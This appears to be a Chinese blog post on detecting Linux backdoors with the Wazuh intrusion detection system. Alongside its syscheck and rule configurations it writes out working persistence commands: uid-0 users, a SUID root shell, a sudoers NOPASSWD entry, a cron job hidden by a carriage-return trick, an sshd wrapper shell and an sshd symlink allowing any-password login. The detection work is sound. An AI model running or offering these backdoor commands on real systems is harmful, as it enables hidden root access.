wazuh 是一套开源的主机入侵检测系统,了解架构基础可以先看:原创 开源安全平台 wazuh 架构介绍,接下来看看其入侵检测的能力。
0x01 常见主机入侵检测方法
wazuh 常见的检测方式主要有以下几种:
1、基于系统日志
2、基于文件完整性监控
3、基于命令审计
4、rootkit 检测
wazuh 默认的规则包含以上几种的监控,但是对于我们千奇百怪的主机环境显然是不够的。
以下主要是以 Linux 后门做检测方法测试,为什么是以 Linux 后门呢?
Linux 后门其实已经是进到系统层了,有了 linux 主机相关的管控权限之后,那么势必会在主机上有很多痕迹。做这块其实也覆盖了大部门主机入侵检测的场景。
0x02 Linux 后门入侵检测
passwd 写入
perl -e 'print crypt("123456", "AA"). "n"'echo
"Tkid3:AASwmzPNx.3sg:0:0:me:/root:/bin/bash">>/etc/passwd
检测:wazuh 默认每 12h 检查 /etc 目录下文件完整性,自行在 agent 分组中增加检查项(每 30 秒检查 /etc/passwd 的完整性)
<syscheck>
<frequency>30</frequency>
<directories check_all="yes">/etc/passwd</directories>
</syscheck>
测试:重新 passwd 写入,发现有 /etc/passwd 修改告警信息。
uid 0 用户添加
useradd -p `openssl passwd 123456` -o -u 0 guest
或者
/usr/sbin/useradd -o -u 0 hack &>/dev/null && echo hack:123456 | /usr/sbin/chpasswd &>/dev/null
通过 useradd 命令添加用户会在 /var/log/secure 留下日志,wazuh 默认检测该日志
suid 后门
当一个文件所属主的 x 标志位 s(set uid 简称 suid) 时,且所属主为 root 时,当执行该文件时,其实是以 root 身份执行的。必要条件:
1、SUID 权限仅对二进制程序有效。
2、执行者对于该程序需要具有 x 的可执行权限
3、本权限仅在执行该程序的过程中有效
4、在执行过程中执行者将具有该程序拥有者的权限
#vim suid.c
#include<stdlib.h> main () { setuid(0); system("/bin/bash"); } 编译成二进制文件
gcc suid.c -o suidshell
#赋予 suid 权限
chmod 4755 suidshell
chmod u+s suidshell
切换低权限账号 kid 执行 suidshell
检测思路:
检测 root 进程,查看父进程。如果父进程为低权限用户,通过 /proc/id/environ 查看环境信息是否有 SUDO_COMMANDSUDO_USERSUDO_UID 这三个变量。如果有即为 sudo 执行的,没有则是提权的。思路引自《互联网企业安全高级指南》
方案一:
通过 audit 日志检测 uid 和 euid 判断父进程是否为低权限用户,提出 pid 找出对应环境变量。看下是否上面的三个变量。
grep "audit-wazuh-c" /var/log/audit/audit.log |awk -F= '{print $13}'| awk '{print $1} | 'tr -s 'n'| uniq > 1.txt
cat /proc/3485/environ | tr ' ' 'n' | grep "USER"
方案二:
ps 找父进程是否在 root 权限,然后在 ps -f 的环境变量找是否有那三个变量
ps aex -f | awk '{if ($1=="root"&&$3!=0&&$3!=2) print $2,$3}'
ps -u root ae
可以看到环境变量
1、查出高权限的父进程为低权限
ps -u root ex -f | awk '{if ($3!=0&&$3!=2) print $2}' |tail -n +2 > pid.txt
ps -u root ex -f | awk '{if ($3!=0&&$3!=2) print $3}'|tail -n +2 >ppid.txt
cat pid.txt ppid.txt |sort |uniq -d > temp.txt
cat ppid.txt temp.txt |sort |uniq -u | { read test ;ps -ef |grep $test|grep -v grep ; }
2、查看对应进程环境变量是否有 SUDO 相关的变量
问题:
1、找出 sudo 执行进程的环境变量
2、su 的怎么判断?
最后这两个方案都没完成,可能是自己操作的问题。
在实验的过程方案一、二都会占用小部分内存,且提权检测的话检测时间周期需要在短时间内或者实时检测变化进程,个人觉得做这块要做的好需要细细做好性能消耗的问题,不然就 gg 了
reverse_shell
除了常见系统内部软件反弹外,还有 tcp/udp、icmp、dns/smtp 等非常规协议绕过流量检测 shell,这块后面做 nids 的时候在看。对于主机层的网上找到两种检测方法:联动 osquery 检测和联合 audit 检测
联合 audit 检测
原理:如果 bash 进程有远程 socket 但是没有 tty,那么就认定是一个反弹 shell
对于通过 web 漏洞 getshell 这种方式或许是有用的,但是对于系统层的漏洞如弱口令,登录反弹的 shell 是会有 tty 值的。所以这里做的是 bash 进程有远程连接时做异常进程报警。
组 agent.conf:
<localfile>
<log_format>full_command</log_format>
<command>ss -apn | grep ESTAB | egrep '("bash"|"sh")'</command>
<frequency>1</frequency>
</localfile>
rule.xml 编写:
<group name="attack,">
<rule id="100013" level="7">
<if_sid>530</if_sid>
<match>^ossec:output:'ss -apn | grep ESTAB | egrep '("bash"|"sh")''</match>
<description>find "bash|sh"</description>
</rule>
<rule id="100014" level="10">
<if_sid>100013</if_sid>
<description>maybe reverse shell!!</description>
</rule>
</group>
执行 bash 反弹 shell,发现告警。
sudoers 利用
sudo su -c "echo 'hack ALL = NOPASSWD: ALL' >> /etc/sudoers.d/README"
这块主要是配置 /etc/sudoer 文件权限,添加时给用户最小化权限。
检测:
/etc/sudoers.d/ 目录一般不会用到,对于 /etc 目录 wazuh12 小时检测一次,可以自行监控这个目录
<syscheck>
<frequency>30</frequency>
<directories check_all="yes">/etc/passwd,/etc/sudoers.d</directories>
</syscheck>
inetd 远程后门
stream tcp nowait root /bin/bash bash -i
centos 默认未安装,新版是 xinetd,配置 ssh 没成功
检测 /etc/inetd.conf 文件,进程检测
动态链接库后门
https://www.freebuf.com/column/162604.html
linux 操作系统的动态链接库在加载过程中,动态链接器会先读取 LDPRELOAD 环境变量和默认配置文件 /etc/ld.so.preload,并将读取到的动态链接库文件进行预加载,即使程序不依赖这些动态链接库,LDPRELOAD 环境变量和 /etc/ld.so.preload 配置文件中指定的动态链接库依然会被装载,这样就导致了动态链接库文件可以被当做后门使用。
LD_PRELOAD
通过检测 $LD_PRELOAD 是否有值。
<group name="LD_PRELOAD">
<rule id="100015" level="7">
<if_sid>530</if_sid>
<match>^ossec:output:'echo $LD_PRELOAD'</match>
<description>LD_PRELOAD</description>
</rule>
<rule id="100016" level="9">
<if_sid>100015</if_sid>
<description>LD_PRELOAD have some thing</description>
</rule>
</group>
不知道为什么 echo 的命令监控没有效果,正常是会有的,后面发现是我这边 wazuh 的。
/etc/ld.so.preload
<syscheck>
<frequency>5</frequency>
<directories>/etc/ld.so.preload</directories>
</syscheck>
测试:
PROMPT_COMMAND
bash 提供了一个环境变量 PROMPT_COMMAND, 这个变量会在你执行命令前执行一遍。这样就可以利用他执行的命令来留后门。
<group name="LD_PRELOAD">
<rule id="100015" level="7">
<if_sid>530</if_sid>
<match>^ossec:output:'echo $PROMPT_COMMAND'</match>
<description>LD_PRELOAD</description>
</rule>
<rule id="100016" level="9">
<if_sid>100015</if_sid>
<description>LD_PRELOAD have some thing</description>
</rule>
</group>
TCP Wrapper
TCP_Wrappers 的使用主要是依靠两个配置文件 /etc/hosts.allow, /etc/hosts.deny,用于拒绝和接受。这里演示使用的是接受配置信息。之所以能够被用作后门是因为他存在一个参数是 spawn (spawn 启动一个外部程序完成执行的操作)
<syscheck>
<frequency>5</frequency>
<directories>/etc/hosts.allow,/etc/hosts.deny</directories>
</syscheck>
cron 计划任务
一般通过 cron 执行任务的是直接写入计划任务
(crontab -l;echo '*/1 * * * * /bin/bash /tmp/1.elf;/bin/bash --noprofile -i')|crontab -
更隐藏一点的方式是结合读取缺陷,利用的是支持类似 r 回车符 n 换行符 f 换页符的处理。
如果原本没有 cron 则可以只打印 no crontab for `whoami`,原本有计划任务的话不打印。
没有计划任务执行 crontab -l 会打印 no crontab for $user, 实际上是列出 /var/spool/cron/ 目录的时候没有当前用户的计划任务文件
(crontab -l;printf "**/1 ** * * * /bin/bash /tmp/1.elf;/bin/bash --noprofile -i;rno crontab for
whoami`%100cn")|crontab -
再加上 /etc/cron.* 相关的目录,计划任务可以写的目录和文件有:
/var/spool/cron/,/etc/crontab,/etc/cron.d/,/etc/cron.daily/,/etc/cron.weekly/,/etc/cron.hourly/,/etc/cron.monthly/
<syscheck>
<frequency>30</frequency>
<directories>/etc/crontab,/var/spool/cron/,/etc/cron.d/</directories>
</syscheck>
<syscheck>
<frequency>300</frequency>
<directories>/etc/cron.hourly/</directories>
</syscheck>
<syscheck>
<frequency>1200</frequency>
<directories>/etc/cron.daily/,/etc/cron.weekly/,/etc/cron.hourly/</directories>
</syscheck>
SSH 后门
SSH wrapper
首先启动的是 /usr/sbin/sshd, 脚本执行到 getpeername 这里的时候,正则匹配会失败,于是执行下一句,启动 /usr/bin/sshd,这是原始 sshd。原始的 sshd 监听端口建立了 tcp 连接后,会 fork 一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的 /usr/sbin/sshd,这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字,getpeername 能真的获取到客户端的 TCP 源端口,如果是 19526 就执行 sh 给个 shell。
简单点就是从 sshd fork 出一个子进程,输入输出重定向到套接字,并对连过来的客户端端口进行了判断。
服务端:
cd /usr/sbin
mv sshd ../bin
echo '#!/usr/bin/perl' > sshd
echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..LF/);' >>sshd
echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
systemctl restart sshd
客户端:
socat STDIO TCP4:10.0.0.30:22,souceport=19526
检测:
<syscheck>
<frequency>120</frequency>
<directories>/usr/sbin/sshd</directories>
</syscheck>
SSH 软连接后门
在 sshd 服务配置运行 PAM 认证的前提下,PAM 配置文件中控制标志为 su fficient 时只要 pam_rootok 模块检测 uid 为 0 即 root 权限即可成功认证登陆。
通过软连接的方式,实质上 PAM 认证是通过软连接的文件名(如: /tmp/su,/home/su) 在 /etc/pam.d/ 目录下寻找对应的 PAM 配置文件(如: /etc/pam.d/su),任意密码登陆的核心是 auth sufficient pam_rootok.so,所以只要 PAM 配置文件中包含此配置即可 SSH 任意密码登陆,除了 su 中之外还有 chsh、chfn 同样可以。
服务端:
ln -sf /usr/sbin/sshd
/tmp/su/tmp/su -oPort=8080
客户端:
ssh [email protected] -p 8080 # 输入任意密码
SSH 公钥免密登陆
ssh-keygen -t rsa //生成公钥
将 id_rsa.pub 内容放到目标 .ssh/authorized_keys 里
检测:
监控各用户的 .ssh/authorized_keys,一般不会更改。
<syscheck>
<frequency>120</frequency>
<directories>/root/.ssh/authorized_keys,/home</directories>
</syscheck>
PAM 后门
确保 ssh 开启 pam 支持
vim /etc/ssh/sshd_config
UsePAM yes
自动化脚本:
https://github.com/litsand/shell/blob/master/pam.sh
检测:
<syscheck>
<frequency>120</frequency>
<directories>/lib/security/pam_unix.so,/lib64/security/pam_unix.so</directories>
</syscheck>
以上就是部分自己基于 Linux 后门入侵检测的思路,其他主机入侵检测还有 ssh 异常 ip 登录告警、webshell 检测等等
0x03 遗留问题
自己知识面有限,以下是自己没解决的问题,留着给自己去学习和解决。当然啦,如果有大佬愿意指明方向就太感谢了!
1、提权检测--还是上文说到的问题
2、文件软连接检测--类似软链接了 ssh 这种然后作为后门,一般系统命令应该不会被软链接的吧
3、进程注入--原理和检测方法需要琢磨琢磨
4、Rootkit 检测(用户态和内核态)--wazuh 虽然自带有,但是版本比较老且挺久没更新了
本文始发于微信公众号(信安之路):基于 Wazuh-常见主机入侵检测方法
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论